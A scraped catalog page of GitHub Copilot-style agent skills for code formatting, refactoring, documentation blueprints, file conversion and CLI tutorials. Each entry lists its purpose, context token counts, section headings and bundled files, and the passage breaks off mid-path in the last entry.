Generate or update a comprehensive .editorconfig from repository file types and formatting preferences, including indentation, line endings, charset, whitespace, final newline, language globs, and rule-by-rule explanations. Use when asked to create, standardize, or explain EditorConfig.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,371 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Rule selection
- File-type coverage
- Directive vocabulary
- Procedure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore5,903 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubem-dash
When your agent uses it
Review and rewrite code, comments, documentation, and data files to avoid em dashes and en dashes by default. Use this skill when the user asks to remove em dashes, replace Unicode dashes with hyphens, review punctuation in code comments, or enforce ASCII-safe punctuation.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
2,016 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Dash policy
- Punctuation guide for code-facing text
- Replacement commands
- Gotchas
- Historical and syntax vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytesSKILL.mdcore7,524 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubquality-playbook
When your agent uses it
Run a complete quality engineering audit on any codebase. Derives behavioral requirements from the code, generates spec-traced functional tests, runs a three-pass code review with regression tests, executes a multi-model spec audit (Council of Three), and produces a consolidated bug report with TDD-verified patches. Finds the 35% of real defects that structural code review alone cannot catch. Works with any language. Trigger on 'quality playbook', 'spec audit', 'Council of Three', 'fitness-to-purpose', or 'coverage theater'.
What it loads into context
Frontmatter
171 tokensAlways available to the agent
SKILL.md
5,884 tokensWhen the skill is activated
Reference documents
140,183 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Plan Overview — read this first, then explain it to the user
- How to run this — v1.5.4 self-encoded invocation contract
- Extended reference
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Scripts executed separately
quality_gate.py
Files
LICENSE.txtdoc10,766 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesSKILL.mdcore25,374 bytesagents/calibration_orchestrator.mddoc22,194 bytesagents/quality-playbook-claude.agent.mddoc8,092 bytesagents/quality-playbook.agent.mddoc11,302 bytesphase_prompts/README.mddoc1,962 bytesphase_prompts/iteration.mddoc381 bytesphase_prompts/phase1.mddoc18,310 bytesphase_prompts/phase2.mddoc2,863 bytesphase_prompts/phase3.mddoc8,608 bytesphase_prompts/phase4.mddoc3,163 bytesphase_prompts/phase5.mddoc10,958 bytesphase_prompts/phase6.mddoc1,741 bytesphase_prompts/single_pass.mddoc88 bytesquality_gate.pyruns131,462 bytesreferences/challenge_gate.mddoc9,037 bytesreferences/code-only-mode.mddoc4,818 bytesreferences/constitution.mddoc9,699 bytesreferences/defensive_patterns.mddoc13,088 bytesreferences/exploration_patterns.mddoc34,297 bytesreferences/extended-guide.mddoc270,860 bytesreferences/functional_tests.mddoc11,779 bytesreferences/iteration.mddoc21,062 bytesreferences/orchestrator_protocol.mddoc5,363 bytesreferences/requirements_pipeline.mddoc24,716 bytesreferences/requirements_refinement.mddoc5,981 bytesreferences/requirements_review.mddoc5,772 bytesreferences/review_protocols.mddoc40,863 bytesreferences/run_state_schema.mddoc18,621 bytesreferences/schema_mapping.mddoc6,451 bytesreferences/spec_audit.mddoc18,465 bytesreferences/verification.mddoc31,873 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrefactor
When your agent uses it
Improve existing code through surgical behavior-preserving refactoring. Use this skill when code is hard to understand or maintain, functions or classes are too large, code smells need addressing, adding features is difficult due to structure, or the user asks to clean up, refactor, or improve code without changing behavior.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,294 tokensWhen the skill is activated
Reference documents
3,694 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Safe refactoring workflow
- Refactoring rules
- Code quality targets
- Limits
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore6,263 bytesreferences/smells-patterns-operations.mddoc14,316 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrefactor-method-complexity-reduce
When your agent uses it
Refactor a specified method to reduce cognitive complexity to a requested threshold or below by extracting focused helper methods while preserving behavior. Use when the user asks to reduce method complexity, simplify nested conditionals, split large if-else or switch chains, extract validation or type-specific handlers, and verify tests show failed=0.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
1,302 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Complexity reduction criteria
- Procedure
- Implementation rules
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,476 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreview-and-refactor
When your agent uses it
Review project code against repository instructions, identify maintainability issues, make focused refactorings without splitting existing files, and validate tests when available. Use this skill when the user asks for code cleanup, maintainability review, best-practice refactoring, standards-driven improvements, or a senior engineering pass over existing code.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,334 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Refactoring criteria
- Safe refactoring patterns
- Anti-patterns
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,693 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubruff-recursive-fix
When your agent uses it
Run Ruff checks with optional scope and rule overrides, apply safe and unsafe autofixes iteratively, review each change, and resolve remaining findings with targeted edits or user decisions. Use this skill when the user asks for inputs.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
1,882 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Overview
- Input collection
- Command Construction
- Workflow
- Original quality gates
- Original output contract
- Suggested Prompt Starters
- Output template
- Quality gate
Files
SKILL.mdcore8,055 bytesSKILL.mdcore8,055 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtiny-stepping
When your agent uses it
Guide careful implementation through the smallest meaningful change, validation, feedback, and commit-sized increments. Use when the user asks for tiny steps, iterative development, continuous validation, reviewable changes, or a workflow that pauses for feedback before continuing.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
925 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Step sizing rules
- Procedure
- Principles
- Anti-patterns
- Output template
- Quality gate
Files
SKILL.mdcore4,265 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubacquire-codebase-knowledge
When your agent uses it
Map, document, and onboard into an existing codebase by producing seven evidence-backed docs in docs/codebase/. Use when the user explicitly asks to map this codebase, document this architecture, onboard me to this repo, create codebase docs, or perform repository-level discovery; do not use for routine feature work or narrow edits.
What it loads into context
Frontmatter
201 tokensAlways available to the agent
SKILL.md
2,044 tokensWhen the skill is activated
Reference documents
5,006 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Output contract
- Procedure
- Evidence and investigation rules
- Anti-patterns
- Scan output sections
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/scan.py
Files
SKILL.mdcore8,425 bytesSKILL.mdcore8,425 bytesSKILL.mdcore8,425 bytesSKILL.mdcore8,425 bytesSKILL.mdcore8,425 bytesassets/templates/ARCHITECTURE.mddoc1,207 bytesassets/templates/CONCERNS.mddoc1,711 bytesassets/templates/CONVENTIONS.mddoc1,354 bytesassets/templates/INTEGRATIONS.mddoc1,332 bytesassets/templates/STACK.mddoc1,324 bytesassets/templates/STRUCTURE.mddoc1,114 bytesassets/templates/TESTING.mddoc1,369 bytesreferences/inquiry-checkpoints.mddoc4,161 bytesreferences/stack-detection.mddoc5,653 bytesscripts/scan.pyruns23,720 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarchitecture-blueprint-generator
When your agent uses it
Generate a comprehensive Project_Architecture_Blueprint.md by analyzing a codebase, detecting technology stacks and architectural patterns, documenting components, dependencies, diagrams, implementation patterns, testing, deployment, and governance. Use when asked to create an architecture blueprint, document project architecture, map layers, produce C4/UML/component diagrams, or guide new development consistency.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
2,590 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- Architecture detection
- Blueprint content
- Technology-specific prompts
- Implementation pattern catalog
- Criteria
- Gotchas
- Source compatibility terms
- Output template
- Core architectural components
- Layers and dependencies
- Data architecture
- Cross-cutting concerns
- Service communication patterns
- Technology-specific patterns
- Testing architecture
- Deployment architecture
- Extension and evolution patterns
- Architecture governance
- Blueprint for new development
- Open questions and recommendations
Files
SKILL.mdcore12,783 bytesSKILL.mdcore12,783 bytesSKILL.mdcore12,783 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcode-exemplars-blueprint-generator
When your agent uses it
Generate a configurable prompt blueprint for scanning a codebase and producing an exemplars.md catalog of high-quality, real code examples. Use this skill when the user asks for code exemplars, exemplar blueprint prompts, coding standard examples, repository pattern catalogs, or configuration variables for exemplar generation.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,622 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Configuration variables
- Exemplar selection criteria
- Category catalog
- Generated prompt requirements
- Prompt fragments to preserve
- Output template
Files
SKILL.mdcore7,709 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-instructions-blueprint-generator
When your agent uses it
Generate technology-agnostic blueprints for comprehensive copilot-instructions.md files that make GitHub Copilot follow exact project versions, architecture, code quality, documentation, testing, and versioning conventions discovered from the codebase. Use this skill when the user asks for configuration variables, wants to create copilot-instructions.md, or needs repository-specific GitHub Copilot coding guidance.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
2,348 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Configuration variables
- Blueprint requirements
- Quality focus sections
- Documentation and testing sections
- Technology-specific guidance
- Versioning guidance
- Generated blueprint
- Gotchas
- Required wording to preserve
- Output template
Files
SKILL.mdcore11,072 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfolder-structure-blueprint-generator
When your agent uses it
Analyze a repository and generate Project_Folders_Structure_Blueprint.md with detected technologies, folder purposes, naming conventions, file placement patterns, navigation guidance, build outputs, and optional structure templates. Use this skill when the user asks for a project folder structure blueprint, repository organization map, architecture directory guide, monorepo or microservices structure analysis, or file placement conventions.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
2,515 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Blueprint controls
- Detection signals
- Blueprint content
- Visualization patterns
- Templates to emit
- Gotchas
- Technical index
- Output template
- Quality gate
Files
SKILL.mdcore11,194 bytesSKILL.mdcore11,194 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubproject-workflow-analysis-blueprint-generator
When your agent uses it
Generate technology-agnostic project workflow analysis blueprints that document end-to-end application flows, files, classes, entry points, service layers, data access, error handling, async processing, sequence diagrams, testing patterns, and implementation templates. Use this skill when the user asks to list all files/classes in a workflow, document representative workflows, map an API-to-database flow, or create an implementation-ready workflow blueprint.
What it loads into context
Frontmatter
105 tokensAlways available to the agent
SKILL.md
2,609 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Configuration variables
- Detection rules
- Workflow blueprint content
- Technology-specific patterns
- Generated blueprint
- Gotchas
- Naming and evidence vocabulary
- Output template
Files
SKILL.mdcore12,479 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreadme-blueprint-generator
When your agent uses it
Generate a comprehensive README.md blueprint by analyzing repository documentation, .github/copilot files, copilot-instructions.md, architecture notes, technology stack, workflow, standards, tests, and exemplars. Use when asked to create or refresh a developer-focused README.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
1,283 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Source inventory
- README sections
- Generation rules
- Gotchas
- Output template
- Project structure
- Key features
- Development workflow
- Coding standards
- Testing
- Contributing
- License
Files
SKILL.mdcore5,920 bytesSKILL.mdcore5,920 bytesSKILL.mdcore5,920 bytesSKILL.mdcore5,920 bytesSKILL.mdcore5,920 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrepo-story-time
When your agent uses it
Analyze a Git repository and create two archaeology deliverables: REPOSITORY_SUMMARY.md with technical architecture and THE_STORY_OF_THIS_REPO.md with a narrative from commit history. Use when asked to summarize a repo, explain its architecture, inspect git history, identify contributors, or tell the story of repository evolution.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,722 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Deliverables
- Repository exploration
- Technical analysis criteria
- Commit history analysis
- Narrative synthesis
- Procedure
- Compatibility terminology
- Output template
- Quality gate
Files
SKILL.mdcore7,305 bytesSKILL.mdcore7,305 bytesSKILL.mdcore7,305 bytesSKILL.mdcore7,305 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtechnology-stack-blueprint-generator
When your agent uses it
Generate a technology stack blueprint by analyzing codebase languages, frameworks, dependencies, versions, licenses, conventions, usage patterns, tooling, infrastructure, and diagrams. Use this skill when the user asks for a stack blueprint, architecture technology inventory, implementation-ready tech map, dependency and convention documentation, or guided development baseline.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,992 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Configuration model
- Procedure
- Stack analysis checklist
- Implementation patterns
- Technology stack map
- Blueprint for new code
- Blueprint terminology
- Output template
Files
SKILL.mdcore9,230 bytesSKILL.mdcore9,230 bytesSKILL.mdcore9,230 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcontext-map
When your agent uses it
Build a concise map of files relevant to a requested code change before implementation. Use when the user asks to identify affected files, plan changes, map dependencies, find tests, locate reference patterns, or assess risk before editing.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
859 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Discovery targets
- Procedure
- Risk assessment rules
- Output template
- Quality gate
Files
SKILL.mdcore4,069 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrefactor-plan
When your agent uses it
Create a concrete, evidence-backed plan before a multi-file refactor. Use this skill when the user asks to plan, sequence, scope, or safely execute a refactor across multiple files, when hidden coupling is likely, or when implementation should wait for confirmation after a plan.
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
1,154 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Refactor planning criteria
- Phase sequencing rules
- Limits
- Output template
- Quality gate
Files
SKILL.mdcore5,369 bytesSKILL.mdcore5,369 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwhat-context-needed
When your agent uses it
Identify the minimum files, symbols, configuration, tests, and prior context GitHub Copilot needs before answering a codebase question. Use this skill when the user asks what context is needed, what files to provide, or wants a context checklist before asking an implementation, debugging, review, or architecture question.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
759 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Context selection criteria
- File request rules
- Output template
- Quality gate
Files
SKILL.mdcore3,660 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubintegrate-context-matic
When your agent uses it
Discover and integrate third-party APIs with the context-matic MCP server using fetch_api, ask, model_search, endpoint_search, add_guidelines, add_skills, and update_activity. Use this skill when the user asks to integrate a third-party API, add an API client or SDK, implement features with an external API, or work with PayPal, Twilio, or another third-party API.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,705 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Language detection
- Context-matic workflow
- Tool usage rules
- Milestones
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore7,303 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubonboard-context-matic
When your agent uses it
Guided onboarding tour for the context-matic MCP server. Use this skill when the user asks what ContextMatic can do, wants a first-time tour, asks to show available APIs, asks how to use the context-matic server, or wants live model_search and endpoint_search demonstrations before integration.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
2,329 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Conduct rules
- ContextMatic explanation
- Language detection
- Procedure
- Closing menu
- Limits
- Terminology to preserve
- Output template
- Quality gate
Files
SKILL.mdcore10,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubconvert-excel-to-md
When your agent uses it
Convert Excel .xlsx workbooks to Markdown with the bundled script so spreadsheet contents can be read, summarized, searched, extracted, compared, charted, or analyzed. Use whenever the user references a spreadsheet, workbook, budget, export, tracker, .xlsx file, or a folder of workbooks; invoke sibling converters for mixed .pdf, .docx, and .xlsx sets.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
1,739 tokensWhen the skill is activated
Reference documents
700 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Conversion commands
- Output structure and limitations
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- Excel conversion invariants
- Output template
- Quality gate
Scripts executed separately
scripts/convert_excel_to_md.py
Files
SKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesSKILL.mdcore7,191 bytesreferences/setup.mddoc2,762 bytesscripts/convert_excel_to_md.pyruns14,109 bytesscripts/requirements.txtdoc24 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubconvert-pdf-to-md
When your agent uses it
Convert PDF .pdf documents to Markdown with the bundled script so reports, papers, invoices, forms, contracts, scanned documents, and folders of PDFs can be read, summarized, searched, extracted, compared, or analyzed. Use whenever a user references a PDF; invoke sibling converters for mixed .pdf, .docx, and .xlsx sets.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
1,762 tokensWhen the skill is activated
Reference documents
693 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Conversion commands
- Output structure and limitations
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- PDF conversion invariants
- Output template
- Quality gate
Scripts executed separately
scripts/convert_pdf_to_md.py
Files
SKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesSKILL.mdcore7,263 bytesreferences/setup.mddoc2,676 bytesscripts/convert_pdf_to_md.pyruns11,553 bytesscripts/requirements.txtdoc39 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubconvert-word-to-md
When your agent uses it
Convert Word .docx documents into Markdown with extracted images using the bundled script. Use this skill when a user asks to read, summarize, review, compare, analyze, extract data from, or batch-process Word documents, resumes, reports, contracts, or proposals, including mixed folders that also require sibling PDF or Excel conversion skills.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,582 tokensWhen the skill is activated
Reference documents
603 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Conversion commands
- Output location rules
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- Output template
- Quality gate
Scripts executed separately
scripts/convert_word_to_md.py
Files
SKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesSKILL.mdcore6,529 bytesreferences/setup.mddoc2,291 bytesscripts/convert_word_to_md.pyruns10,953 bytesscripts/requirements.txtdoc24 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagent-skill-stack
When your agent uses it
Find, evaluate, and assemble the smallest compatible set of AI Agent Skills for an end-to-end natural-language goal. Use when a user wants Skills for a multi-step workflow, asks which Skills fit a project, needs an installed-Skill audit or conflict check, has low Skill recall, wants indirect helpers such as humanizers or compliance checks, or wants a project-specific Skill Stack with controlled installation. Search local Skills, registries, GitHub, and OpenCLI; compare adoption, verified fit, safety, and overlap. Do not use for locating one known or common Skill; use the generic find-skills workflow.
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
2,569 tokensWhen the skill is activated
Reference documents
3,591 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- 1. Choose the user-facing depth
- 2. Derive the workflow dynamically
- 3. Search the local index first
- 4. Map capabilities, including indirect helpers
- 5. Search with four lenses
- 6. Verify and rank candidates
- 7. Analyze conflicts and scope
- 8. Present recommendations in plain language
- 9. Install only after consent
- 10. Run a recall check
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/inventory_skills.pyscripts/project_profile.pyscripts/render_stack_card.pyscripts/skill_index.pyscripts/stage_install.py
Files
SKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesSKILL.mdcore12,445 bytesagents/openai.yamlasset276 bytesreferences/discovery-ranking.mddoc4,923 bytesreferences/local-index-and-profiles.mddoc3,008 bytesreferences/security-installation.mddoc5,432 bytesreferences/workflow-model.mddoc4,487 bytesscripts/inventory_skills.pyruns10,796 bytesscripts/project_profile.pyruns4,438 bytesscripts/render_stack_card.pyruns6,465 bytesscripts/skill_index.pyruns10,783 bytesscripts/stage_install.pyruns7,194 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubai-ready
When your agent uses it
Help users install and use John Papa's ai-ready skill as the up-to-date source for making repositories AI-ready with AGENTS.md, copilot-instructions.md, CI workflows, issue templates, and stack-specific guidance. Use when the user asks to make a repo ai-ready, set up AI config, prepare for AI contributions, or install ai-ready.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
988 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Source-of-truth model
- Procedure
- Limits
- Output template
- Quality gate
- References
Files
SKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubboost-prompt
When your agent uses it
Refine a rough task request into a high-quality markdown prompt by clarifying scope, deliverables, constraints, context, and success criteria, then copy the final prompt to the clipboard with Joyride. Use when the user asks to improve, boost, rewrite, or polish a prompt without writing code. Requires Joyride.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,207 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Prompt refinement criteria
- Procedure
- Clipboard operation
- Prompt structure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore5,472 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcli-mastery
When your agent uses it
Interactive training for the GitHub Copilot CLI through guided lessons, quizzes, scenario challenges, a final exam, and on-demand reference for slash commands, shortcuts, modes, agents, skills, MCP, and configuration. Use when the user says "cliexpert", asks to learn the Copilot CLI, wants a quiz, scenario, challenge, cheat sheet, or final exam.
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
1,182 tokensWhen the skill is activated
Reference documents
4,054 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Routing and content
- Progress model
- Teaching behavior
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore4,858 bytesreferences/final-exam.mddoc1,375 bytesreferences/module-1-slash-commands.mddoc3,662 bytesreferences/module-2-keyboard-shortcuts.mddoc1,422 bytesreferences/module-3-modes.mddoc1,162 bytesreferences/module-4-agents.mddoc1,457 bytesreferences/module-5-skills.mddoc1,160 bytesreferences/module-6-mcp.mddoc1,402 bytesreferences/module-7-advanced.mddoc1,644 bytesreferences/module-8-configuration.mddoc1,316 bytesreferences/scenarios.mddoc1,971 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-cli-quickstart
When your agent uses it
Use this skill when someone wants to learn GitHub Copilot CLI from scratch. Offers interactive step-by-step tutorials with separate Developer and Non-Developer tracks, plus on-demand Q&A. Just say "start tutorial" or ask a question! Note: This skill targets GitHub Copilot CLI specifically and uses CLI-specific tools (ask_user, sql, fetch_copilot_cli_documentation).
What it loads into context
Frontmatter
105 tokensAlways available to the agent
SKILL.md
2,059 tokensWhen the skill is activated
Reference documents
5,134 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Three Modes
- Audience Detection
- Progress Tracking
- Lesson Structure
- Lesson S1: Welcome & Verify Your Setup
- Extended reference
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore8,534 bytesreferences/extended-guide.mddoc21,425 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-primitive-authoring
When your agent uses it
Author current GitHub Copilot agents, instructions, and VS Code prompts in this repository. Use when asked to create or update a known primitive type with repository governance, dated evidence, canonical sources, templates, synchronization, and type-specific validation.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
2,680 tokensWhen the skill is activated
Reference documents
107 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Primitive routing
- Procedure
- Validation matrix
- Limits
- Gotchas
- Repository resources
- Compatibility vocabulary
- Output template
- Quality gate
Scripts executed separately
../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_